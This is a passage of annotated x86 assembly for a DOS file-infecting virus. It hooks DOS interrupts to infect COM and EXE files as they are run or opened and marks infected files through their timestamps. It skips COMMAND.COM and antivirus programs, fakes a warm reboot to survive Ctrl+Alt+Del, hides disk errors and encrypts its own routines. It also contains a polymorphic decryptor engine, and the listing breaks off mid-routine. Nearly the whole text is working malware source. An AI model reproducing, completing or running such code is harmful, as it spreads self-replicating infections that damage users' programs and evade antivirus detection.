xms_api_segment dw 0 ;---------------------------------------------------------------------------- int_9_handler: push ax pushf in al, 60h ; AT Keyboard controller 8042. cmp al, 53h ; Delete? jnz exit_int_9 mov ah, 2 int 16h ; AL = shift status bits and al, 0Ch ; [CTRL]+[ALT] ? cmp al, 0Ch jz fake_warm_reboot exit_int_9: popf pop ax jmp dword ptr cs:int_9_offset ;---------------------------------------------------------------------------- fake_warm_reboot: xor ax, ax mov ds, ax assume ds:nothing mov byte ptr ds:417h, 0; Clear all Keyboard Status Flags sub word ptr ds:413h, 13; Allocate 13 (!) KB from TOM call trace_int_19 begin_rebooting:mov al, 8 call trace_bios_int mov al, 9 call trace_bios_int mov al, 10h mov ah, 0Fh call trace_bios_int mov al, 13h mov ah, 1 mov dl, 80h call trace_bios_int mov al, 15h mov ah, 84h xor dx, dx call trace_bios_int mov al, 16h mov ah, 2 call trace_bios_int mov al, 17h mov ah, 2 xor dx, dx call trace_bios_int mov al, 1Ah mov ah, 0 call trace_bios_int mov al, 1Ch call trace_bios_int push cs pop ds assume ds:seg000 mov int_21_is_set, 1 mov al, 8 call get_int_vector mov int_8_off, bx mov int_8_seg, es mov al, 8 mov dx, offset int_8_handler call set_int_vector mov al, 9 call get_int_vector mov int_9_offset, bx mov int_9_seg, es mov al, 9 mov dx, offset int_9_handler call set_int_vector sti mov ax, 4300h int 2Fh ; AL = 80h XMS driver installed cmp al, 80h jnz no_xms_resident mov ax, 4310h int 2Fh ; ES:BX = XMS driver entry point mov xms_api_offset, bx mov xms_api_segment, es mov ah, 4 ; XMS Function 4 = Global Disable A20 call dword ptr xms_api_offset no_xms_resident:xor ax, ax mov ds, ax assume ds:nothing mov al, ds:timer ; BIOS Timer Ticks add al, 18 ; Wait 1 Second delay3: cmp ds:timer, al jnz delay3 mov al, ds:410h ; BIOS Hardware Information and al, 30h ; Bits 4,5 = Initial Video Mode mov cl, 4 shr al, cl mov bx, 3 ; Mode 3 - 80x25 Color cmp al, bl jnz is_color mov bl, 7 ; Mode 7 - 80x25 Monochrome is_color: mov ax, bx mov cs:reboot_saved_sp, sp int 10h mov sp, cs:reboot_saved_sp mov ah, 0Eh xor bx, bx mov dl, 75h ; Initial Decryption Key push cs pop ds assume ds:seg000 mov si, offset encrypted_msg cld lodsb xor al, dl mov dl, al lodsb xor al, dl mov dl, al print_next_char:lodsb xor al, dl jz printed_last_char int 10h ; Print Character mov dl, al jmp print_next_char printed_last_char: mov ax, 0E07h ; BEEP int 10h mov sp, cs:reboot_saved_sp xor ax, ax mov ds, ax assume ds:nothing mov al, ds:timer ; BIOS Timer Ticks add al, 36 ; Wait 2 Seconds delay4: cmp ds:timer, al jnz delay4 mov al, 61h out 20h, al in al, 61h or al, 80h ; Enable Keyboard out 61h, al and al, 7Fh ; Disable Keyboard out 61h, al push cs pop ds assume ds:seg000 mov int_21_hooking_timer_ticks, 216; Wait atleast 12 seconds before mov int_21_is_set, 0; rehooking INT 21h xor ax, ax mov ds, ax assume ds:nothing mov ds:84h, ax ; Flag INT 21h Vector as unused. xor ax, ax mov dl, 80h ; Reset 1st Hard Drive int 13h int 19h ; causes reboot of disk system ;---------------------------------------------------------------------------- int_21_hooking_timer_ticks db 0 int_21_is_set db 0 ;---------------------------------------------------------------------------- int_8_handler: pushf cmp cs:int_21_is_set, 0 jnz exit_int_8 push ax push ds xor ax, ax mov ds, ax cmp bx, 1234h ; Virus Trying to Run? jnz check_if_int_21_hooked cmp dx, 5678h jz do_rehook_int_21 check_if_int_21_hooked: cmp ds:84h, ax ; INT 21h Offset = 0? jz exit_int_8_b dec cs:int_21_hooking_timer_ticks jnz exit_int_8_b ; 12 Seconds Passed? do_rehook_int_21: push bx push cx push dx push si push di push es inc cs:int_21_is_set xor ax, ax mov ds, ax add word ptr ds:413h, 0Dh; Restore amount of Conventional RAM cmp word ptr ds:20h, offset int_8_handler jnz no_reset_int_8 lds dx, dword ptr cs:int_8_off assume ds:nothing mov al, 8 call set_int_vector no_reset_int_8: mov al, 21h call get_int_vector push cs pop ds assume ds:seg000 mov int_21_off, bx mov int_21_seg, es mov int_21_patched, 0 mov al, 21h mov dx, offset dummy_21_handler call set_int_vector pop es pop di pop si pop dx pop cx pop bx exit_int_8_b: pop ds assume ds:nothing pop ax exit_int_8: popf jmp dword ptr cs:int_8_off ;---------------------------------------------------------------------------- int_21_patched db 0 dint_21_saved_ss dw 0 dint_21_saved_sp dw 0 ;---------------------------------------------------------------------------- dummy_21_handler: pushf cmp cs:int_21_patched, 0 jnz exit_dint_21 mov cs:dint_21_saved_ss, ss mov cs:dint_21_saved_sp, sp mov cs:int1_saved_ax, ax mov ax, cs mov ss, ax assume ss:seg000 mov sp, 242Eh mov ax, cs:int1_saved_ax push ax push bx push cx push dx push si push di push ds push es mov cs:int_21_patched, 1 xor ax, ax mov ds, ax assume ds:nothing cmp word ptr ds:84h, offset dummy_21_handler jnz no_unhook_int_21 mov al, 21h lds dx, dword ptr cs:int_21_off assume ds:nothing call set_int_vector no_unhook_int_21: call trace_critical_ints call patch_21 mov ah, 30h call tint_21 mov cs:dos_version, ax pop es pop ds pop di pop si pop dx pop cx pop bx pop ax mov ss, cs:dint_21_saved_ss assume ss:nothing mov sp, cs:dint_21_saved_sp exit_dint_21: popf jmp dword ptr cs:int_21_off ;---------------------------------------------------------------------------- int_24_handler: mov al, 0 iret ;---------------------------------------------------------------------------- int_13_handler: pushf cmp ah, 3 jnz do_int_13 cmp cs:int13_error, 1 jz abort_int_13 do_int_13: popf pushf call dword ptr cs:tint_13_off pushf jb abort_int_13 popf retf 2 abort_int_13: mov cs:int13_error, 1 mov ah, 10h ; CRC or ECC error on read popf stc ; Set CF (error) retf 2 ;---------------------------------------------------------------------------- do_residency_check_and_exit: cmp ax, 3032h jnz _exit_int_21 cmp dx, 1234h jnz _exit_int_21 mov ax, 5678h popf iret _exit_int_21: jmp exit_int_21 int_21_handler: pushf sti mov cs:saved_ax, ax cmp ax, 4B00h jz infect_file cmp ah, 3Dh jnz not_func_3d test al, 7 ; only infect files opened for READ ONLY jnz do_residency_check_and_exit call extention_check jnb infect_file not_func_3d: cmp ah, 6Ch jnz do_residency_check_and_exit push dx mov dx, si call extention_check pop dx jb _exit_int_21 ;---------------------------------------------------------------------------- infect_file: push bx push cx push dx push di push si push bp push ds push es call set_infection_ints cmp byte ptr cs:saved_ax+1, 6Ch jz si_is_asciiz mov si, dx si_is_asciiz: mov dx, si push si push di push cx call check_file_name pop cx pop di pop si jnb file_name_is_good jmp exit_infection file_name_is_good: mov cs:is_exe, 0 mov ax, 4300h call tint_21 mov cs:file_attributes, cx jnb check_for_system_files jmp exit_infection check_for_system_files: mov ax, cx and ax, 4 ; SYSTEM attribute set? jz not_system_file jmp exit_infection not_system_file:cmp cx, 20h jz good_attributes mov ax, 4301h mov cx, 20h call tint_21 cmp cs:int13_error, 1 jnz good_attributes jmp exit_infection good_attributes:push ds push dx mov ax, 3D02h call tint_21 mov bx, ax mov ax, 4202h xor cx, cx xor dx, dx call tint_21 or dx, dx ; Way too big? jz file_not_huge jmp close_and_exit_infection file_not_huge: cmp ax, 0D800h ; Too Big? jbe file_not_too_big jmp close_and_exit_infection file_not_too_big: cmp ax, 200h ; Too Small ja file_not_to_small jmp close_and_exit_infection file_not_to_small: mov cs:file_size, ax push ax mov ax, 5700h call tint_21 mov cs:file_time_stamp, cx mov cs:file_date_stamp, dx pop ax and cl, 1Fh cmp cl, cs:infection_marker; Already Infected? jz close_and_exit_infection call read_header_and_seek_to_start mov ax, cs:file_size add ax, 100h ; AX=Delta offset of Decryptor mov cs:decryptor_offset, ax push bx mov cs:create_header, 1 call poly_engine jb close_and_exit_infection pop bx push cx mov ax, 4202h xor cx, cx mov dx, 1 call tint_21 mov ah, 40h mov dx, offset end_poly_engine+1 pop cx push cs pop ds assume ds:seg000 call tint_21 cmp cs:int13_error, 1 jz close_and_exit_infection mov ax, 5701h mov cx, cs:file_time_stamp mov dx, cs:file_date_stamp and cl, NOT 1Fh ; Set Infection Marker or cl, cs:infection_marker call tint_21 close_and_exit_infection: mov ah, 3Eh call tint_21 pop dx pop ds assume ds:nothing mov ax, 4301h mov cx, cs:file_attributes cmp cx, 20h jz exit_infection call tint_21 exit_infection: call restore_infection_ints pop es pop ds pop bp pop si pop di pop dx pop cx pop bx jmp exit_int_21 ;---------------------------------------------------------------------------- db 0E9h, 2Bh, 0FCh ; Anti-Disassembler code? ;---------------------------------------------------------------------------- tint_21: call unpatch_21 pushf call dword ptr cs:tint_21_off call patch_21 ret ;---------------------------------------------------------------------------- exit_int_21: push bx push dx push ds push es call unpatch_21 push cs pop ds assume ds:seg000 mov al, 2Ah call get_int_vector mov int_2a_off, bx mov int_2a_seg, es mov al, 2Ah mov dx, offset int_2A_handler call set_int_vector mov ax, saved_ax pop es pop ds assume ds:nothing pop dx pop bx popf jmp dword ptr cs:tint_21_off ;---------------------------------------------------------------------------- int_2A_handler: push ax push dx push ds call patch_21 mov al, 2Ah lds dx, dword ptr cs:int_2a_off call set_int_vector pop ds pop dx pop ax jmp dword ptr cs:int_2a_off ;---------------------------------------------------------------------------- patch_21: pushf push ax push si push di push ds push es lds si, dword ptr cs:tint_21_off push cs pop es assume es:seg000 mov di, offset orig_21_5 cld movsb movsw movsw les di, dword ptr cs:tint_21_off assume es:nothing mov al, 0EAh ; JMP Far stosb mov ax, offset int_21_handler stosw mov ax, cs stosw pop es pop ds pop di pop si pop ax popf ret ;---------------------------------------------------------------------------- unpatch_21: pushf push si push di push ds push es push cs pop ds assume ds:seg000 mov si, offset orig_21_5 les di, dword ptr tint_21_off cld movsb movsw movsw pop es pop ds assume ds:nothing pop di pop si popf ret ;---------------------------------------------------------------------------- set_infection_ints: call decode_routine ;---------------------------------------------------------------------------- dw offset end_int_set db 0 ;---------------------------------------------------------------------------- push bx push dx push ds push es mov ah, 54h call tint_21 mov cs:verify_flag, al; Save Current Verification Flag mov ax, 2E00h ; Turn Verification Flag OFF mov dl, 0 call tint_21 mov al, 24h call get_int_vector push cs pop ds assume ds:seg000 mov int_24_off, bx mov int_24_seg, es mov al, 24h mov dx, offset int_24_handler call set_int_vector mov al, 13h call get_int_vector mov int_13_off, bx mov int_13_seg, es mov al, 13h mov dx, offset int_13_handler call set_int_vector mov int13_error, 0 pop es pop ds assume ds:nothing pop dx pop bx end_int_set: ret ;---------------------------------------------------------------------------- restore_infection_ints: call decode_routine ;---------------------------------------------------------------------------- dw offset end_int_restore db 0 ;---------------------------------------------------------------------------- lds dx, dword ptr cs:int_24_off mov al, 24h call set_int_vector lds dx, dword ptr cs:int_13_off mov al, 13h call set_int_vector mov ah, 2Eh ; Restore Verification Flag mov al, cs:verify_flag mov dl, 0 call tint_21 end_int_restore:ret ;---------------------------------------------------------------------------- read_header_and_seek_to_start: call decode_routine ;---------------------------------------------------------------------------- dw offset end_read_header db 0 ;---------------------------------------------------------------------------- dec ax dec ax push cs pop ds assume ds:seg000 mov file_size_minus_2, ax mov ax, 4200h xor cx, cx xor dx, dx call tint_21 mov ah, 3Fh mov cx, 100 mov dx, offset header_buffer call tint_21 mov di, offset header_buffer mov ax, cs mov es, ax assume es:seg000 cmp word ptr es:[di], 'ZM' jz file_is_exe cmp word ptr es:[di], 'MZ' jnz file_is_not_exe file_is_exe: mov cs:is_exe, 1 file_is_not_exe:mov ax, 4200h xor cx, cx xor dx, dx call tint_21 end_read_header:ret ;---------------------------------------------------------------------------- check_file_name:call decode_routine ;---------------------------------------------------------------------------- dw offset end_name_check db 0 ;---------------------------------------------------------------------------- cld find_end_of_filename: lodsb cmp al, 0 jnz find_end_of_filename dec si dec si std mov di, offset com_ext+3; is it COMMAND.COM? push cs pop es mov cx, 11 rep cmpsb jz set_CF_exit ; dont infect COMMAND.COM find_backslash: lodsb cmp al, '\' jnz find_backslash inc si inc si cmp word ptr [si], 'CS'; SCAN jz set_CF_exit cmp word ptr [si], '-F'; F-PROT jz set_CF_exit cmp word ptr [si], 'IA'; AIDSTEST cld find_extension: lodsb cmp al, 'V' ; File contains letter 'V'? jz set_CF_exit cmp al, '.' ; Found end of file NAME jz clear_CF_exit cmp al, 0 ; Found end of file NAME jnz find_extension clear_CF_exit: clc ret set_CF_exit: stc end_name_check: ret ;---------------------------------------------------------------------------- extention_check:call decode_routine ;---------------------------------------------------------------------------- dw offset end_extention_check db 0 ;---------------------------------------------------------------------------- push ax push cx push si push di push es mov si, dx push cs pop es cld convert_to_uppercase: lodsb cmp al, 'a' jb not_lowercase cmp al, 'z' ja not_lowercase sub al, 20h mov [si-1], al not_lowercase: or al, al jnz convert_to_uppercase sub si, 5 mov di, offset com_ext mov cx, 4 push si push cx rep cmpsb pop cx pop si jz is_good_extension mov di, offset exe_ext rep cmpsb jz is_good_extension pop es ; is bad extension assume es:nothing pop di pop si pop cx pop ax stc ret is_good_extension: pop es pop di pop si pop cx pop ax clc end_extention_check: ret ;---------------------------------------------------------------------------- restore_exe_host: call delta2 delta2: pop ax mov bx, ax mov ax, cs mov es, ax assume es:seg000 mov ds, ax mov cx, word ptr [100h + 0Eh]; EXE SS Field add ax, 10h ; Account for PSP add cx, ax ; CX = New SS push cx mov cx, word ptr [100h + 16h]; EXE CS Field add cx, ax push cx ; CX = New CS pop word ptr [bx+offset exe_cs-offset delta2] push word ptr [100h + 10h]; EXE SP Field push word ptr [100h + 14h]; EXE IP Field pop word ptr [bx+offset exe_ip-offset delta2] mov cx, word ptr [100h + 06h]; Number of Relocation Items mov dx, word ptr [100h + 08h]; EXE Header Paragraphs mov di, word ptr [100h + 18h]; Offset of Relocation Table in add di, 100h ; Header + 100h as we are a COM File. shl dx, 1 shl dx, 1 shl dx, 1 shl dx, 1 jcxz no_relocation_items do_next_relocation_item: lds si, cs:[di] assume ds:nothing inc di inc di inc di inc di mov bp, ds add bp, ax add bp, word ptr es:[100h + 08h]; EXE Header Paragraphs mov ds, bp assume ds:nothing add [si], ax loop do_next_relocation_item no_relocation_items: push cs pop ds assume ds:seg000 cld mov di, 100h mov si, dx add si, di mov cx, bx sub cx, si rep movsb cli pop bx pop ax mov ss, ax mov sp, bx xor ax, ax mov cx, 0FFh xor bx, bx mov si, 100h mov di, 0FFFEh sti db 0EAh ; JMP Far exe_ip dw 0 exe_cs dw 0 ;---------------------------------------------------------------------------- dcr_saved_ax dw 0 dcr_saved_bx dw 0 dcr_saved_ds dw 0 start_of_routine dw 0 end_of_routine dw 0 ;---------------------------------------------------------------------------- decode_routine: mov cs:dcr_saved_ds, ds push cs pop ds mov dcr_saved_ax, ax mov dcr_saved_bx, bx pop bx mov ax, [bx] mov end_of_routine, ax mov al, [bx+2] add bx, 3 mov start_of_routine, bx decode_routine_loop: sub [bx], al inc bx cmp bx, end_of_routine jbe decode_routine_loop mov ax, offset encode_routine push ax push start_of_routine mov ax, dcr_saved_ax mov bx, dcr_saved_bx mov ds, dcr_saved_ds assume ds:nothing ret ;---------------------------------------------------------------------------- encode_routine: mov cs:dcr_saved_ds, ds mov cs:dcr_saved_ax, ax mov cs:dcr_saved_bx, bx pushf xor ax, ax mov ds, ax assume ds:nothing mov al, ds:timer ; BIOS Timer Ticks or al, al jz got_new_routine_key inc al got_new_routine_key: push cs pop ds assume ds:seg000 mov bx, start_of_routine mov [bx-1], al ; Save Key encode_routine_loop: add [bx], al inc bx cmp bx, end_of_routine jbe encode_routine_loop popf mov ax, dcr_saved_ax mov bx, dcr_saved_bx mov ds, dcr_saved_ds assume ds:nothing ret ;---------------------------------------------------------------------------- register_initialised db 1 ; 12ABr 16DEo byte_30C26 db 1 ; 1299w byte_30C27 db 1 ; 1282w 1295w byte_30C28 db 1 ; 129Ew index_register db 0 ; Register used as Index word_30C2A dw 0E000h ; 1274w crypt_length dw 0C3Ch ; Length of code (in Words) to Crypt ; 1257w 1316r word_30C2E dw 0C5Dh ; 1262w decryptor_offset dw 0 ; Delta Offset of Decryptor ; 08D2w db 0A6h ; ¦ db 18h ; db 0E4h ; ä db 3Eh ; > no_of_decrypt_ops db 0Bh ; 12C8r byte_30C37 db 1 ; 1135w 11F7w 12C0w byte_30C38 db 3 ; 124Dw 12CDw byte_30C39 db 0 ; 1303w 130Bw add_flag db 0 ; 121Bw 12D4r xor_flag db 0 ; 1220w 12D7r rol_flag db 0 ; 1225w 12DBr not_flag db 0 ; 122Aw 12DFr neg_flag db 0 ; 122Fw 12E3r add_count_flag db 0 ; 1234w 12E7r xor_count_flag db 0 ; 1239w 12EBr add_index_flag db 0 ; 123Ew 12EFr xor_index_flag db 0 ; 1243w 12F3r byte_30C43 db 0 ; 1248w 12F7r db 6 ; db 3 ; db 0Bh ; db 10h ; db 1 ; db 0 ; byte_30C4A db 0 ; 1119w db 9Bh ; › db 5Bh ; [ db 2Dh ; - db 3Eh ; > db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; poly_engine: call decode_routine ; 08DDp dw offset end_poly_engine byte_30C5C db 0 ; 1326r loc_30C5D: jmp poly_engine_main; 131Fo one_byte_junk db 0F8h, 0FCh, 0F5h, 0F9h, 0FBh, 90h, 42h, 45h, 4Ah, 4Dh two_byte_junk dw 0D013h, 0D313h, 0D113h, 0D213h, 0D613h, 0D513h, 0EA13h, 0EBh, 72h, 74h, 75h, 76h, 7Ch, 5A55h, 5D52h, 0DAF7h, 0DDF7h, 0DAF6h, 0DEF6h dw 0D2F6h, 0D6F6h, 0D2D1h, 0D5D1h, 0DAD1h, 0DDD1h, 0E2D0h, 0E6D0h, 0EAD0h, 0EED0h, 0C2FEh, 0C6FEh, 0CAFEh, 0CEFEh, 0F632h, 0D232h, 0EA87h dw 0F286h, 0D686h mem_to_reg_table db 32h ; XOR db 2 ; ADD db 2Ah ; SUB db 22h ; AND db 0Ah ; OR db 8Ah ; MOV db 12h ; ADC db 1Ah ; SBB ; DS:, ES:, CS:, SS: segment_override_table db 3Eh, 26h, 2Eh, 36h db 31h ; XOR db 1 ; ADD db 29h ; SUB db 0D1h ; SHIFT / ROTATE op db 0D1h ; SHIFT / ROTATE op db 0F7h ; NOT / NEG op db 0F7h ; NOT / NEG op db 31h ; XOR db 1 ; ADD db 29h ; SUB db 31h ; XOR db 1 ; ADD db 29h ; SUB db 81h ; db 81h ; db 81h ; db 0 ; db 0 ; db 0 ; db 0 ; db 8 ; db 10h ; db 18h ; db 8 ; db 8 ; db 8 ; db 18h ; db 18h ; db 18h ; index_table db 7 ; [BX] db 4 ; [SI] db 5 ; [DI] db 30h ; XOR db 0 ; ADD db 28h ; SUB db 0 ; db 3 ; db 6 ; db 7 ; byte_30CE9 db 38h ; 1211w db 0 ; db 4 ; db 5 ; db 6 ; byte_30CEE db 6 ; 1218w byte_30CEF db 3 ; 1203w byte_30CF0 db 0 ; 127Dw 1291w decryptor_start_up_regs dw 0 ; AX ; 1166o 11E6o dw 0 ; CX dw 0 ; DX dw 0 ; BP dw 0 ; BX dw 0 ; SI dw 0 ; DI intel_reg_table db 0 ; AX ; 0DF9o 0F82o db 1 ; CX db 2 ; DX db 5 ; BP db 3 ; BX db 6 ; SI db 7 ; DI used_regs_table db 0 ; AX ; 0D59o 0D6Bo 0D8Co 0DA0o db 0 ; CX db 0 ; DX db 0 ; BP db 0 ; BX db 0 ; SI db 0 ; DI com_start_up_regs dw 0 ; AX ; 0D40o dw 0FFh ; CX dw 0 ; DX dw 0 ; BP dw 0 ; BX dw 100h ; SI dw 0FFFEh ; DI register_table dw 0 ; AX ; 0D43o 0D7Fo 0DF5o 0E5Ao 0F7Ao 1163o 11E9o dw 0 ; CX dw 0 ; DX dw 0 ; BP dw 0 ; BX dw 0 ; SI dw 0 ; DI dw 0 db 4 db 5 db 6 db 0 db 1 db 3 db 6 db 7 byte_30D33 db 3 ; 1114w initialize_register_table: push ax ; 112Fp push cx push si push di push ds push es mov ax, cs mov ds, ax mov es, ax mov si, offset com_start_up_regs mov di, offset register_table mov cx, 7 cld rep movsw pop es pop ds pop di pop si pop cx pop ax retn clear_used_regs_table: push ax ; 1132p 11B2p 11E0p 11F4p push cx push di push es push cs pop es mov di, offset used_regs_table mov al, 0 mov cx, 7 cld rep stosb pop es pop di pop cx pop ax retn reserve_register: push ax ; 119Ap 11C5p 1727p 1746p 1753p push di mov di, offset used_regs_table mov ah, 0 add di, ax mov byte ptr cs:[di], 1 pop di pop ax retn get_registers_value: mov bx, ax ; 17BEp mov bh, 0 shl bx, 1 mov bx, cs:register_table[bx] retn modify_unused_reg: push ax ; 1784o 1786o push bx push cx push si push ds push cs pop ds mov si, offset used_regs_table mov cx, 7 mov ah, 0 get_no_of_used_regs_loop: lodsb ; 0D97j add ah, al loop get_no_of_used_regs_loop mov al, 7 sub al, ah ; AL=# of Unused Regs call random ; 1 <= BX <= # of Unused Regs mov si, offset used_regs_table mov cx, 7 choose_unused_reg_loop: lodsb ; 0DAEj or al, al jnz reg_is_used dec bx jz got_unused_reg reg_is_used: loop choose_unused_reg_loop; 0DA9j got_unused_reg: sub si, offset used_regs_table-1; SI=offset of register in register_table ; 0DACj mov ax, si call gen_register_modification pop ds pop si pop cx pop bx pop ax retn gen_register_modification: jmp short _gen_register_modification; 0DB6p reg_imm_modifier_table dw offset gen_add_reg dw offset gen_sub_reg dw offset gen_xor_reg dw offset gen_mov_reg dw offset gen_or_reg dw offset gen_and_reg dw offset gen_inc_reg dw offset gen_dec_reg dw offset gen_not_reg dw offset gen_shr_reg dw offset gen_shl_reg dw offset gen_ror_reg dw offset gen_rol_reg reg_reg_modifier_table dw offset gen_mov_reg_reg dw offset gen_and_reg_reg dw offset gen_xor_reg_reg dw offset gen_or_reg_reg dw offset gen_add_reg_reg dw offset gen_sub_reg_reg _gen_register_modification: push ax ; 0DBFj push bx push cx push dx push si push ds xor ah, ah mov si, ax ; SI=offset of register in register_table mov bx, ax shl si, 1 add si, offset register_table mov al, cs:intel_reg_table[bx] push ax mov al, 2 call random cmp al, 1 jz gen_reg_reg_modification mov al, 0FFh call random mov dl, bl mov al, 0FFh call random mov dh, bl mov al, 3 call random xor cx, cx pop ax push ax or ax, ax jnz reg_not_ax cmp bx, 1 jnz reg_not_ax ; 33% Chance of Special AX Only Opcode inc cx reg_not_ax: mov al, 13 ; 0E21j 0E26j call random shl bx, 1 mov ax, word ptr cs:reg_imm_modifier_table[bx-2] pop bx push cs pop ds cld or cx, cx call ax exit_reg_mod_junk: pop ds ; 0E78j pop si pop dx pop cx pop bx pop ax retn gen_reg_reg_modification: mov al, 5 ; 0E06j 0E4Dj call random cmp bl, ds:0D33h jz gen_reg_reg_modification dec bx mov al, [bx+0D2Eh] mov bl, [bx+0D29h] shl bx, 1 mov dx, register_table[bx]; DX=Value of Source Register pop cx shl cl, 1 ; CL = Source Reg << 3 shl cl, 1 shl cl, 1 add cl, al ; CL+=Destination Reg add cl, 0C0h ; REG to REG encoded mov al, 6 call random shl bx, 1 call word ptr cs:reg_reg_modifier_table[bx-2] mov al, cl stosb jmp short exit_reg_mod_junk gen_add_reg: mov al, 5 ; 0DC1o jnz add_is_ax mov al, 81h stosb mov al, 0C0h add al, bl add_is_ax: stosb ; 0E7Cj mov ax, dx stosw add [si], ax ; Reflect Modification in Register Table retn gen_sub_reg: mov al, 2Dh ; 0DC3o jnz sub_is_ax mov al, 81h stosb mov al, 0E8h add al, bl sub_is_ax: stosb ; 0E8Ej mov ax, dx stosw sub [si], ax ; Reflect Modification in Register Table retn gen_xor_reg: mov al, 35h ; 0DC5o jnz xor_is_ax mov al, 81h stosb mov al, 0F0h add al, bl xor_is_ax: stosb ; 0EA0j mov ax, dx stosw xor [si], ax ; Reflect Modification in Register Table retn gen_mov_reg: mov al, 0B8h ; 0DC7o add al, bl stosb mov ax, dx stosw mov [si], ax ; Reflect Modification in Register Table retn gen_or_reg: mov al, 0Dh ; 0DC9o jnz or_is_ax mov al, 81h stosb mov al, 0C8h add al, bl or_is_ax: stosb ; 0EBDj mov ax, dx stosw or [si], ax ; Reflect Modification in Register Table retn gen_and_reg: mov al, 25h ; 0DCBo jnz and_is_ax mov al, 81h stosb mov al, 0E0h add al, bl and_is_ax: stosb ; 0ECFj mov ax, dx stosw and [si], ax ; Reflect Modification in Register Table retn gen_inc_reg: mov al, 40h ; 0DCDo add al, bl stosb inc word ptr [si] ; Reflect Modification in Register Table retn gen_dec_reg: mov al, 48h ; 0DCFo add al, bl stosb dec word ptr [si] ; Reflect Modification in Register Table retn gen_not_reg: mov al, 0F7h ; 0DD1o stosb mov al, 0D0h add al, bl stosb not word ptr [si] ; Reflect Modification in Register Table retn gen_shr_reg: mov al, 0D1h ; 0DD3o stosb mov al, 0E8h add al, bl stosb shr word ptr [si], 1; Reflect Modification in Register Table retn gen_shl_reg: mov al, 0D1h ; 0DD5o stosb mov al, 0E0h add al, bl stosb shl word ptr [si], 1; Reflect Modification in Register Table retn gen_ror_reg: mov al, 0D1h ; 0DD7o stosb mov al, 0C8h add al, bl stosb ror word ptr [si], 1; Reflect Modification in Register Table retn gen_rol_reg: mov al, 0D1h ; 0E71u ; 0DD9o stosb mov al, 0C0h add al, bl stosb rol word ptr [si], 1; Reflect Modification in Register Table retn gen_mov_reg_reg: mov al, 8Bh ; 0DDBo stosb mov [si], dx ; Reflect Modification in Register Table retn gen_and_reg_reg: mov al, 23h ; 0DDDo stosb and [si], dx ; Reflect Modification in Register Table retn gen_xor_reg_reg: mov al, 33h ; 0DDFo stosb xor [si], dx ; Reflect Modification in Register Table retn gen_or_reg_reg: mov al, 0Bh ; 0DE1o stosb or [si], dx ; Reflect Modification in Register Table retn gen_add_reg_reg: mov al, 3 ; 0DE3o stosb add [si], dx ; Reflect Modification in Register Table retn gen_sub_reg_reg: mov al, 2Bh ; 0DE5o stosb sub [si], dx ; Reflect Modification in Register Table retn set_register: jmp short _set_register ; AL=Register ; DX=Desired Value ; 11A5p 11D0p 1365p 174Dp 175Ap ; 0FCEo db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; set_register_table dw offset add_reg_to_wanted_value dw offset sub_reg_to_wanted_value dw offset xor_reg_to_wanted_value dw offset mov_reg_wanted_value _set_register: push ax ; 0F4Aj push bx push cx push si push ds push bp mov byte ptr ds:0F4Ch, 0 xor ah, ah mov si, ax mov bx, ax shl si, 1 add si, offset register_table; [si]=registers value cmp [si], dx ; Is the register already at the right value? jz exit_set_register mov al, intel_reg_table[bx] push ax mov al, 3 call random xor cx, cx pop ax push ax or ax, ax jnz reg_isnt_ax cmp bx, 1 ; 33% Chance of Special AX Only Opcode jnz reg_isnt_ax inc cx reg_isnt_ax: pop bp ; 0F92j 0F97j push bp mov ax, [si] call loc_3106E or bx, bx jnz loc_30FA8 pop bp jmp short loc_30FEF loc_30FA8: mov ax, [si] ; 0FA3j call loc_3109D or bx, bx jnz loc_30FB4 pop bp jmp short loc_30FEF loc_30FB4: mov ax, [si] ; 0FAFj push si call loc_30FF8 pop si mov al, 4 add al, ds:0F4Ch call random cmp bl, 5 jb loc_30FE1 sub bl, 4 shl bx, 1 mov ax, word ptr set_register+1[bx] pop bx add al, bl or ah, ah jz loc_30FDD mov es:[di], ah inc di loc_30FDD: cld ; 0FD7j stosb jmp short loc_30FEF loc_30FE1: shl bx, 1 ; 0FC7j mov ax, set_register_table[bx-2] pop bx cld or cx, cx ; ZF if non AX operation mov cx, [si] ; CX=registers Current Value call ax ; DX=desired Value loc_30FEF: mov [si], dx ; Reflect Change in Register Table ; 0FA6j 0FB2j 0FDFj exit_set_register: pop bp ; 0F80j pop ds pop si pop cx pop bx pop ax retn loc_30FF8: mov bx, ax ; 0FB7p inc bx cmp dx, bx jnz loc_31005 mov bx, 40h ; INC reg16 call loc_31059 loc_31005: mov bx, ax ; 0FFDj dec bx cmp dx, bx jnz loc_31012 mov bx, 48h ; DEC reg16 call loc_31059 loc_31012: mov bx, ax ; 100Aj not bx cmp dx, bx jnz loc_31020 mov bx, 0F7D0h ; NOT reg16 call loc_31059 loc_31020: mov bx, ax ; 1018j shr bx, 1 cmp dx, bx jnz loc_3102E mov bx, 0D1E8h ; SHR reg16,1 call loc_31059 loc_3102E: mov bx, ax ; 1026j shl bx, 1 cmp dx, bx jnz loc_3103C mov bx, 0D1E0h ; SHL reg16,1 call loc_31059 loc_3103C: mov bx, ax ; 1034j ror bx, 1 cmp dx, bx jnz loc_3104A mov bx, 0D1C8h ; ROR reg16,1 call loc_31059 loc_3104A: mov bx, ax ; 1042j rol bx, 1 cmp dx, bx jnz locret_31058 mov bx, 0D1C0h ; ROL reg16,1 call loc_31059 locret_31058: retn ; 1050j loc_31059: mov si, ds:0F4Ch ; 1002p 100Fp 101Dp 102Bp 1039p 1047p 1055p and si, 0FFh shl si, 1 add si, 0F4Dh inc byte ptr ds:0F4Ch mov [si], bx retn loc_3106E: mov bx, ax ; 0F9Ep xor bx, dx and bx, ax jnz loc_31099 push ax mov al, 10 call random pop ax dec bx jnz loc_31099 mov bx, ax xor bx, dx mov al, 0Dh ; OR AX cld or cx, cx jnz loc_31092 mov al, 81h stosb mov al, 0C8h ; OR reg16,xxxx add ax, bp loc_31092: stosb ; 1089j mov ax, bx stosw xor bx, bx retn loc_31099: mov bx, 1 ; 1074j 107Ej retn loc_3109D: mov bx, ax ; 0FAAp xor bx, dx not bx or bx, ax cmp bx, 0FFFFh jnz loc_310B2 mov al, 10 call random dec bx jz loc_310B6 loc_310B2: mov bx, 1 ; 10A8j retn loc_310B6: mov al, 25h ; AND AX ; 10B0j or cx, cx jnz loc_310C3 mov al, 81h stosb mov al, 0E0h ; AND reg16,xxxx add ax, bp loc_310C3: stosb ; 